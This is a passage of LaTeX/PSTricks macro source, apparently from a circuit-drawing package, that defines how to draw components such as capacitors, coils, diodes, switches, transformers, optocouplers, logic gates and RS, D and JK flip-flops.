\pnode(0.75,0){dipole@2} - \multips(-0.75,0)(0.5,0){3}{% - \psline[arrows=-,linewidth=1.5\pslinewidth]% - (0,0)(0.125,0.25)(0.375,-0.25)(0.5,0)}% - \else - \pnode(-0.5,0){dipole@1}\pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.25)(0.5,0.25) - \fi - \ifPst@variable\psline{->}(-0.5,-0.55)(0.5,0.55)\fi - \ifx\psk@Dstyle\pst@Dstyle@varistor - \psline[linewidth=0.8pt](-0.75,-0.55)(-0.5,-0.55)(0.5,0.55)% - \fi -} -% -\def\pst@draw@relais{% - \pnode(-0.25,0){dipole@1}\pnode(0.25,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.25,-0.5)(0.25,0.5) - \psline(-0.25,-0.2)(0.25,0.2) - \ifPst@variable\psline{->}(-0.5,-0.55)(0.5,0.55)\fi -} -% -\def\pst@draw@RFLine{% - \pnode(-1.5,0){dipole@1} \pnode(1.5,0){dipole@2} - \pscustom[arrows=-]{% - \psellipticarcn(-0.8,0)(0.2,0.3){90}{-90} - \psline(-0.8,-.3)(0.8,-.3) - \psellipticarc(0.8,0)(0.2,0.3){-90}{90} - \psline(-0.8,.3)(0.8,.3)} - \psellipse(-0.8,0)(0.2,0.3) - \pcline[arrows=-](dipole@1)(-0.8,0)\pcline[arrows=-](dipole@2)(1,0)} -% -% pd start ==================================================== -\def\pst@draw@dashpot{% - \pnode(0,0){dipole@1}% - \pnode(0.5,0){dipole@2}% - \psline[linewidth=1.5\pslinewidth]% - (-0.5,-0.5)(0.5,-0.5)(0.5,0.5)(-0.5,0.5)% - \psline[linewidth=1.5\pslinewidth](0,-0.4)(0,0.4)% -} -% pd end ====================================================== -\def\pst@draw@capacitor{% - \bgroup - \psset{linewidth=1.5\pslinewidth}% - \ifx\psk@Dstyle\pst@Dstyle@chemical - \psline[arrows=-](-0.2,-0.5)(-0.2,0.5) - \psarc[arrows=-](1.1875,0){1.0625}{154.8}{205.2} - \pnode(-0.2,0){dipole@1} - \pnode(0.125,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektorchemical - \psframe[framearc=0.01,dimen=outer](-0.2284123,0.2743733)(-0.0557103,-0.2743733) - \psframe[framearc=0.01,dimen=outer,fillstyle=solid,fillcolor=black](0.0557103,0.2743733)(0.2284123,-0.2743733) - \pnode(-0.2284123,0){dipole@1} - \pnode(0.2284123,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektor - \psframe[framearc=0.01,dimen=outer,fillstyle=solid,fillcolor=black](-0.2284123,0.2743733)(-0.0557103,-0.2743733) - \psframe[framearc=0.01,dimen=outer,fillstyle=solid,fillcolor=black](0.0557103,0.2743733)(0.2284123,-0.2743733) - \pnode(-0.2284123,0){dipole@1} - \pnode(0.2284123,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@crystal - \psline[arrows=-](-0.3,-0.4)(-0.3,0.4) - \psline[arrows=-](0.3,-0.4)(0.3,0.4) - \psframe(-0.2,-0.5)(0.2,0.5) - \pnode(-0.3,0){dipole@1} - \pnode(0.3,0){dipole@2} - \else - \psline[arrows=-](-0.2,-0.5)(-0.2,0.5) - \psline[arrows=-](0.2,-0.5)(0.2,0.5) - \pnode(-0.2,0){dipole@1} - \pnode(0.2,0){dipole@2} - \fi - \fi - \fi - \fi - \ifPst@variable% - \psline[arrows=->](-0.5,-0.55)(0.5,0.55)% - \fi - \egroup -} -% -\def\pst@draw@OA{% - \ifx\psk@tripole@style\pst@tripole@style@french - \psframe[linewidth=1.5\pslinewidth](-1,-0.75)(1,0.75) - \pspolygon(-0.4,-0.2)(-0.4,0.2)(-0.05,0) - \else - \pspolygon[arrows=-](-1,-0.75)(-1,0.75)(1,0)(-1,-0.75) - \ifPst@OApower - \psline{-o}(0,0.375)(0,0.75)\uput[90](0,0.75){$+$} - \psline{-o}(0,-0.375)(0,-0.75)\uput[-90](0,-0.75){$-$} - \fi - \fi - \pnode(-1,0.25){\ifPst@OAinvert Minus@\else Plus@\fi} - \pnode(-1,-0.25){\ifPst@OAinvert Plus@\else Minus@\fi} - \pnode(1,0){S@} - \uput{0.1}[0](-1,0.25){\ifPst@OAinvert$-$\else$+$\fi} - \uput{0.1}[0](-1,-0.25){\ifPst@OAinvert$+$\else$-$\fi} - \ifPst@OAperfect\rput(0.25,0){$\infty$}\fi% -} -% -\def\pst@draw@battery{% - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.10,-0.5)(-0.10,0.5) - \psline[arrows=-,linewidth=3\pslinewidth](0.10,-0.25)(0.10,0.25) - \pnode(-0.1,0){dipole@1} - \pnode(0.1,0){dipole@2} - \ifPst@variable% - \psline{->}(-0.75,-0.5)(0.75,0.5)% - \fi - } -% -\def\pst@draw@coil{% - \ifx\psk@Dstyle\pst@Dstyle@curved - \pscurve[arrows=-](-0.7,0)(-0.6,0.3)(-0.35,0)(-0.4,-0.2) - (-0.5,0)(-0.4,0.3)(-0.15,0)(-0.2,-0.2)(-0.3,0) - (-0.2,0.3)(0.05,0)(0,-0.2)(-0.1,0) - (0,0.3)(0.25,0)(0.2,-0.2)(0.1,0) - (0.2,0.3)(0.45,0)(0.4,-0.2)(0.3,0) - (0.4,0.3)(0.65,0)(0.6,-0.2)(0.5,0) - \pnode(-0.7,0){dipole@1} - \pnode(0.5,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektor - \psarcn[arrows=c-](-0.3885794,0){0.1295265}{-180}{0} - \psarcn(-0.1295265,0){0.1295265}{-180}{0} - \psarcn(0.1295265,0){0.1295265}{-180}{0} - \psarcn[arrows=-c](0.3885794,0){0.1295265}{-180}{0} - \pnode(-0.5181058,0){dipole@1} - \pnode(0.5181058,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektorcurved - \psarcn[arrows=c-c](-0.408167,0.089453){0.211665}{-155}{-410} - \psarcn[arrows=-c](-0.136056,0.089453){0.211665}{-130}{-410} - \psarcn[arrows=-c](0.136055,0.089453){0.211665}{-130}{-410} - \psarcn[arrows=-c](0.408167,0.089453){0.211665}{-130}{-385} - \pnode(-0.6,0){dipole@1} - \pnode(0.6,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@rectangle - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth,fillstyle=solid,fillcolor=black](-0.5,-0.25)(0.5,0.25) - \else - \pscurve[arrows=-,linewidth=1.5\pslinewidth](-1,0)(-0.75,0.5)(-0.5,0) - \pscurve[arrows=-,linewidth=1.5\pslinewidth](-0.5,0)(-0.25,0.5)(0,0) - \pscurve[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.25,0.5)(0.5,0) - \pscurve[arrows=-,linewidth=1.5\pslinewidth](0.5,0)(0.75,0.5)(1,0) - \pnode(-1,0){dipole@1} - \pnode(1,0){dipole@2} - \fi\fi\fi\fi% - \ifPst@variable\psline{->}(-0.75,-0.5)(0.75,0.5)\fi% - } -% -\def\pst@draw@Ucc{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \ifx\psk@Dstyle\pst@Dstyle@diamond - \pspolygon[linewidth=1.5\pslinewidth](-0.5,0)(0,0.5)(0.5,0)(0,-0.5) - \else - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \fi - \ifcase\psk@labelInside\or% do nothing - \psline[arrows=-,linewidth=2\pslinewidth]{->}(-0.35,0)(0.35,0)\or% case 1 - \uput{0.1}[0]{90}(-0.5,0){$-$}% case 2 - \uput{0.1}[0]{90}(0,0){$+$}\or% case 3 - \rput(0,0){\large\bf =} - \fi -} -% -\def\pst@draw@Icc{% - \ifx\psk@Dstyle\pst@Dstyle@twoCircles - \pnode(-0.7,0){dipole@1} - \pnode(0.7,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](-0.175,0){0.5} - \pscircle[linewidth=1.5\pslinewidth](0.175,0){0.5} - \else - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \psline[arrows=-,linewidth=1.5\pslinewidth](0,-0.5)(0,0.5) - \fi% -} -% -\def\pst@draw@switch{% - \ifx\psk@Dstyle\pst@Dstyle@close - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \qdisk(-0.5,0){1.5pt} - \qdisk(0.5,0){1.5pt} - \psline[arrows=-,linewidth=2\pslinewidth](-0.5,0.05)(0.5,0.05) - \else - \pnode(-0.55,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psline[arrows=-,linewidth=2\pslinewidth](-0.5,0)(0.5,0.5) - \psarcn[arrowinset=0]{->}(-0.5,0){0.75}{45}{-45} - \pscircle[fillstyle=solid](-0.5,0){0.07} - \qdisk(0.5,0){1.5pt} - \fi -} -% -\def\pst@draw@diode{% - \ifx\psk@Dstyle\pst@Dstyle@triac - \pspolygon[linewidth=1.5\pslinewidth](-0.25,-0.4)(-0.25,0)(0.25,-0.2) - \pspolygon[linewidth=1.5\pslinewidth](0.25,0)(-0.25,0.2)(0.25,0.4) - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.25,-0.4)(-0.25,0.4) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,-0.4)(0.25,0.4) - \psline[arrows=-,linewidth=\pslinewidth](0.25,-0.2)(0.5,-0.3)(0.5,-0.6) - \else - \pspolygon[arrows=-,linewidth=1.5\pslinewidth](-0.25,-0.2)(-0.25,0.2)(0.25,0) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0.2)(0.25,-0.2) - \ifx\psk@Dstyle\pst@Dstyle@thyristor - \psline[arrows=-,linewidth=1.5\pslinewidth](0,-0.1)(0,-0.35) - \fi - \ifx\psk@Dstyle\pst@Dstyle@GTO - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.1,-0.12)(-0.1,-0.35) - \psline[arrows=-,linewidth=1.5\pslinewidth](0,-0.1)(0,-0.35) - \fi - \fi - \pnode(-0.25,0){dipole@1} - \pnode(0.25,0){dipole@2} - } -% -\def\pst@draw@Zener{% - \pspolygon[linewidth=1.5\pslinewidth](-0.25,-0.2)(-0.25,0.2)(0.25,0) - \ifx\psk@Dstyle\pst@Dstyle@Z - \psline[arrows=-,linewidth=1.5\pslinewidth](0.1,0.35)(0.25,0.25)(0.25,-0.25)(0.4,-0.35) - \else - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0.25)(0.25,-0.25)(0,-0.25) - \fi - \pnode(-0.25,0){dipole@1} - \pnode(0.25,0){dipole@2} -} -% -\def\pst@draw@lamp{% - \pscircle[linewidth=1.5\pslinewidth]{0.5} - \psline[arrows=-,linewidth=1.5\pslinewidth](0.5;45)(0.5;225) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.5;135)(0.5;315) - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} -} -% -\def\pst@draw@circledipole{% - \pscircle[linewidth=1.5\pslinewidth]{0.5} - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} -} -% -\def\pst@draw@LED{% - \pspolygon[arrows=-,linewidth=1.5\pslinewidth](-0.25,-0.2)(-0.25,0.2)(0.25,0) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0.2)(0.25,-0.2) - \pnode(-0.25,0){dipole@1} - \pnode(0.25,0){dipole@2} - \multips(-0.25,0.3)(0.25,0){3}{\psline[arrows=->](0.25,0.22)}% -} -% -\def\pst@draw@Tswitch{% - \ifx\psk@tripole@style\pst@tripole@style@right - \psline[arrows=-,linewidth=2\pslinewidth](0.5,0)(0,-1) - \psarcn[arrowinset=0]{<-}(0,-1){0.75}{135}{45} - \else - \ifx\psk@tripole@style\pst@tripole@style@left - \psline[arrows=-,linewidth=2\pslinewidth](-0.5,0)(0,-1) - \psarcn[arrowinset=0]{->}(0,-1){0.75}{135}{45} - \else - \psline[arrows=-,linewidth=2\pslinewidth](0,0.1)(0,-1) - \psarcn[linewidth=1pt,arrowinset=0]{<->}(0,-1){0.75}{135}{45} - \fi - \fi - \qdisk(-0.5,0){1.5pt} - \qdisk(0.5,0){1.5pt} - \pscircle[fillstyle=solid](0,-1){0.07} - \pnode(-0.5,0){Tswi@left} - \pnode(0.5,0){Tswi@right} - \pnode(0,-1.05){Tswi@center} -} -% -\def\pst@draw@transformer{ - \ifx\psk@Dstyle\pst@Dstyle@rectangle - \psframe[fillstyle=solid,fillcolor=black](-0.7,-0.75)(-0.2,0.75) - \psframe[fillstyle=solid,fillcolor=black](0.7,-0.75)(0.2,0.75) - \psline[arrows=-,linewidth=0.1cm](0,-0.75)(0,0.75) - \pnode(-0.5,0.75){inup@} - \pnode(-0.5,-0.75){indown@} - \else - \pscurve[arrows=-](-0.5,0.9)(-0.2,0.8)(-0.5,0.7)(-0.7,0.8)(-0.5,0.82)(-0.2,0.6) - (-0.5,0.5)(-0.7,0.6)(-0.5,0.62)(-0.2,0.4) - (-0.5,0.3)(-0.7,0.4)(-0.5,0.42)(-0.2,0.2) - (-0.5,0.1)(-0.7,0.2)(-0.5,0.22)(-0.2,0) - (-0.5,-0.1)(-0.7,0)(-0.5,0.02)(-0.2,-0.2) - (-0.5,-0.3)(-0.7,-0.2)(-0.5,-0.18)(-0.2,-0.4) - (-0.5,-0.5)(-0.7,-0.4)(-0.5,-0.38)(-0.2,-0.6) - (-0.5,-0.7)(-0.7,-0.6)(-0.5,-0.58)(-.2,-0.8)(-0.5,-0.9) - \pscurve[arrows=-](0.5,0.7)(0.2,0.6)(0.5,0.5)(0.7,0.6)(0.5,0.62) - (0.2,0.4)(0.5,0.3)(0.7,0.4)(0.5,0.42) - (0.2,0.2)(0.5,0.1)(0.7,0.2)(0.5,0.22) - (0.2,0.)(0.5,-0.1)(0.7,0)(0.5,0.02) - (0.2,-0.2)(0.5,-0.3)(0.7,-0.2)(0.5,-0.18) - (0.2,-0.4)(0.5,-0.5)(0.7,-0.4)(0.5,-0.38) - (0.2,-0.6)(0.5,-0.7) - \psline[arrows=-](-0.1,0.7)(-0.1,-0.7) - \psline[arrows=-](0,0.7)(0,-0.7) - \psline[arrows=-](0.1,0.7)(0.1,-0.7) - \pnode(-0.5,0.9){inup@} - \pnode(-0.5,-0.9){indown@} - \fi - \pnode(0.5,-0.7){outdown@} - \pnode(0.5,0.7){outup@} -} -% start hv 2003-07-23 -\def\pst@draw@optoCoupler{% -% diode - \pspolygon[linewidth=1.5\pslinewidth](-0.5,-0.25)(-0.7,0.25)(-0.3,0.25) - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.7,-0.25)(-0.3,-0.25) - \psline{->}(-0.2,0.2)(0,0.1) - \psline{->}(-0.2,0)(0,-0.1) -% transistor - \psline[arrows=-,linewidth=4\pslinewidth](0.25,-0.3)(0.25,0.3) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0)(0.75,0.5) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0)(0.75,-0.5) - \pnode(0.75,-0.5){d@1} - \pnode(0.25,0){d@2} - \ifx\psk@Ttype\pst@Ttype@PNP - \ncline[arrows=-,linestyle=none,fillstyle=none]{d@1}{d@2} - \else - \ncline[arrows=-,linestyle=none,fillstyle=none]{d@2}{d@1} - \fi - \ncput[nrot=:U]{\psline[arrowinset=0,arrowscale=2]{->}(0,0)(.2,0)} - \pnode(-0.5,0.25){inup@} - \pnode(-0.5,-0.25){indown@} - \pnode(0.75,-0.5){outdown@} - \pnode(0.75,0.5){outup@} -} -% -\def\pst@draw@logic[#1]{\@ifnextchar({\pst@draw@logici[#1]}{\pst@draw@logici[#1](0,0)}} -% -\def\pst@draw@logici[#1](#2)#3{{% - \psset{#1}% - \rput[lb](#2){% - \psframe[linewidth=2\pslinewidth](0,0)(\psk@logic@width,\psk@logic@height)% - } - \pst@getcoor{#2}\pst@tempa - \ifPst@logicChangeLR\def\logic@LR{true}\else\def\logic@LR{false}\fi% - \pstVerb{ - /YA \pst@tempa exch pop \pst@number\psyunit div def - /YB YA \psk@logic@height\space add def - \logic@LR {% - /XB \pst@tempa pop \pst@number\psxunit div def - /XA XB \psk@logic@width\space add def - }{% - /XA \pst@tempa pop \pst@number\psxunit div def - /XB XA \psk@logic@width\space add def - } ifelse - /dy YB YA sub def - } - \ifx\psk@logic@type\pst@logic@type@RS%---------------- RS ----------------- - \pnode(! XA YA dy 4 div add){#3S} - \pnode(! XA YA dy 4 div 3 mul add){#3R} - \psline(#3R)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add) - \psline(#3S)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3R){\psk@logic@nodestyle R} - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3S){\psk@logic@nodestyle S} - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 4 div add){#3Qneg} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 4 div add){0.1} - \pnode(! XB YA dy 4 div 3 mul add){#3Q} - \psline(#3Q)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add) - \psline(#3Qneg)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Qneg){\psk@logic@nodestyle $\mathrm{\overline{Q}}$} - \ifPst@logicShowDot - \qdisk(! XA \psk@logic@wireLength\space \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XA \psk@logic@wireLength\space \logic@LR {add}{sub} ifelse YA dy 4 div add){3pt} - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div add){3pt} - \fi - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \else - \ifx\psk@logic@type\pst@logic@type@D%---------------- D ----------------- - \pnode(! XA YA dy 2 div add){#3C} - \pnode(! XA YA dy 4 div 3 mul add){#3D} - \psline(#3D)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add) - \psline(#3C)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add) - \psline[linewidth=0.5pt](! XA YA dy 2 div add 0.15 add) - (! XA 0.4 \logic@LR {sub}{add} ifelse YA dy 2 div add)(! XA YA dy 2 div add 0.15 sub) - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3D){\psk@logic@nodestyle D} - \uput{0.5}[\ifPst@logicChangeLR 180\else 0\fi](#3C){\psk@logic@nodestyle C} - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 4 div add){#3Qneg} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 4 div add){0.1} - \pnode(! XB YA dy 4 div 3 mul add){#3Q} - \psline(#3Q)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add) - \psline(#3Qneg)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Qneg){\psk@logic@nodestyle $\mathrm{\overline{Q}}$} - \ifPst@logicShowDot - \qdisk(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add){3pt} - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add){3pt} - \fi - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \else - \ifx\psk@logic@type\pst@logic@type@JK%---------------- JK ----------------- - \multido{\n=1+1}{\psk@logic@JInput}{% - \pnode(!% - /Step dy 2 div \psk@logic@JInput\space div def - /yNew Step \n\space mul def - XA YA yNew add Step 2 div sub){#3J\n} - \pst@getcoor{#3J\n}\pst@tempc - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3J\n){\psk@logic@nodestyle J\n} - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC 0.5 \logic@LR {add}{sub} ifelse YC){tempJ\n} - \psline(#3J\n)(tempJ\n)% input - \ifPst@logicShowDot - \qdisk(tempJ\n){3pt} - \fi - } - \multido{\n=1+1}{\psk@logic@KInput}{% - \pnode(!% - /Step dy 2 div \psk@logic@KInput\space div def - /yNew Step \n\space mul def - XA YB yNew sub Step 2 div add){#3K\n} - \pst@getcoor{#3K\n}\pst@tempc - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3K\n){\psk@logic@nodestyle K\n} - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC 0.5 \logic@LR {add}{sub} ifelse YC){tempK\n} - \psline(#3K\n)(tempK\n)% input - \ifPst@logicShowDot - \qdisk(tempK\n){3pt} - \fi - } - \psline[linewidth=0.5pt](! XA YA dy 2 div add 0.15 add) - (! XA 0.4 \logic@LR {sub}{add} ifelse YA dy 2 div add)(! XA YA dy 2 div add 0.15 sub) - \pnode(! XA YA dy 2 div add){#3C} - \psline(#3C)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add) - \uput{0.5}[\ifPst@logicChangeLR 180\else 0\fi](#3C){\psk@logic@nodestyle C} - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 4 div add){#3Qneg} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 4 div add){0.1} - \pnode(! XB YA dy 4 div 3 mul add){#3Q} - \psline(#3Q)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add) - \psline(#3Qneg)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Qneg){\psk@logic@nodestyle $\mathrm{\overline{Q}}$} - \ifPst@logicShowDot - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add){3pt} - \qdisk(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add){3pt} - \fi - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \else%---------------- default AND/NAND/OR/NOR/NOT/EXOR/ENOR/USER ----------------- - \ifx\psk@logic@type\pst@logic@type@not - \def\@nMax{1} - \else - \def\@nMax{\psk@logic@nInput} - \fi - \multido{\n=1+1}{\@nMax}{% - \pnode(!% - /Step dy \psk@logic@nInput\space div def - /yNew Step \n\space mul def - XA YA yNew add \@nMax\space 1 gt {Step 2 div sub} if){#3\n} - \pst@getcoor{#3\n}\pst@tempc - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC \psk@logic@wireLength\space \logic@LR {add}{sub} ifelse YC){temp#3\n} - \psline(#3\n)(temp#3\n)% input - \ifPst@logicShowDot - \qdisk(temp#3\n){3pt} - \fi - \ifPst@logicShowNode - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3\n){\psk@logic@nodestyle\n} - \fi - } - \ifx\psk@logic@type\pst@logic@type@user - \multido{\n=1+1}{\psk@logic@nOutput}{% - \pnode(!% - /Step dy \psk@logic@nOutput\space div def - /yNew Step \n\space mul def - XB YA yNew add \@nMax\space 1 gt {Step 2 div sub} if){#3Q\n} - \pst@getcoor{#3Q\n}\pst@tempc - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YC){temp#3Q\n} - \psline(#3Q\n)(temp#3Q\n)% output - \ifPst@logicShowDot - \qdisk(temp#3Q\n){3pt} - \fi - \ifPst@logicShowNode - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3Q\n){\psk@logic@nodestyle Q\n} - \fi - } - \else - \ifx\psk@logic@type\pst@logic@type@not\else - \ifx\psk@logic@type\pst@logic@type@nand\else - \ifx\psk@logic@type\pst@logic@type@nor\else - \ifx\psk@logic@type\pst@logic@type@exnor\else - \pnode(! XB YA dy 2 div add){#3Q} - \psline(#3Q)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add)% output - \ifPst@logicShowDot - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add){3pt} - \fi - \ifPst@logicShowNode - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \fi - \fi - \fi - \fi - \fi - \fi - \ifx\psk@logic@type\pst@logic@type@and\else% NotX output - \ifx\psk@logic@type\pst@logic@type@or\else - \ifx\psk@logic@type\pst@logic@type@exor\else - \ifx\psk@logic@type\pst@logic@type@user\else - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 2 div add){#3Q} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 2 div add){0.1} - \psline(#3Q)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add)% output - \ifPst@logicShowDot - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add){3pt} - \fi - \ifPst@logicShowNode - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \fi - \fi - \fi - \fi - \fi - \ifx\psk@logic@type\pst@logic@type@or - \def\logic@type{$\ge$1} - \else - \ifx\psk@logic@type\pst@logic@type@not - \def\logic@type{1} - \else - \ifx\psk@logic@type\pst@logic@type@nand - \def\logic@type{\&} - \else - \ifx\psk@logic@type\pst@logic@type@nor - \def\logic@type{$\ge\kern-5pt 1$} - \else - \ifx\psk@logic@type\pst@logic@type@exor - \def\logic@type{=1} - \else - \ifx\psk@logic@type\pst@logic@type@exnor - \def\logic@type{=} - \else - \ifx\psk@logic@type\pst@logic@type@and - \def\logic@type{\&} - \else - \def\logic@type{\logicusertype} - \fi - \fi - \fi - \fi - \fi - \fi - \fi - \rput(!% - /dx XB XA sub \psk@logic@symbolpos\space mul def - XA dx add YB 0.3 sub){\psk@logic@symbolstyle\textbf{\logic@type}} - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \fi - \fi - \fi% end of no special RS/JK/D -}\ignorespaces} -% -% end hv 2003-07-28 -% -\def\pst@draw@wire[#1](#2)(#3){{% - \psset{#1}% - \ifx\psk@I@label\@empty\else\psset{intensity=true}\fi - \ifx\psk@Dconvention\pst@Dconvention@generator - \Pst@Dconventiontrue - \else\ifx\psk@Dconvention\pst@Dconvention@receptor\Pst@Dconventionfalse\fi - \fi - \bgroup - \pnode(#2){Inter@1} - \pnode(#3){Inter@2} - \psset{arrows=-} - \ifPst@wire@intersect - \rput(! - /N@Inter@1 GetNode /N@Inter@2 GetNode /N@\psk@wire@intersectA\space - GetNode /N@\psk@wire@intersectB\space GetNode InterLines - \pst@number\psyunit div exch \pst@number\psxunit div exch){\pnode{@M}}% - \ncline[linestyle=none,fillstyle=none]{Inter@1}{@M} - \ncput[nrot=:U,npos=.85]{\pnode{@M1}} - \ncline[linestyle=none,fillstyle=none]{@M}{Inter@2} - \ncput[nrot=:U,npos=.15]{\pnode{@M2}} - \psline(Inter@1)(@M1) - \psline(@M2)(Inter@2) - \ncarc[arcangle=90]{@M1}{@M2} - \else - \pcline(#2)(#3) - \ifPst@intensity - \ifPst@directconvention - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \pcline[linestyle=none,fillstyle=none,offset=\psk@I@label@offset](#2)(#3) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \else - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width]{<-}(-.1,0)(.1,0)} - \pcline[linestyle=none,fillstyle=none,offset=\psk@I@label@offset](#2)(#3) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \fi - \fi - \fi - \egroup - \ncline[linestyle=none]{Inter@1}{Inter@2} -}\ignorespaces} -% -% -\def\pst@draw@tension@[#1](#2)(#3)#4{{% - \psset{#1}% - \pnode(#2){pst@tempa} % hv - \pnode(#3){pst@tempb} % hv - \ncline[linestyle=none,fillstyle=none]{pst@tempa}{pst@tempb} - \ncput[nrot=:U,npos=0.05]{\pnode{@M1}} - \ncput[nrot=:U,npos=0.95]{\pnode{@M2}} - \ncline[arrowinset=0,linecolor=\psk@tension@color]{->}{@M1}{@M2} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@label@offset](@M1)(@M2) - \ncput[nrot=\psk@label@angle]{\csname\psk@tension@labelcolor\endcsname #4} 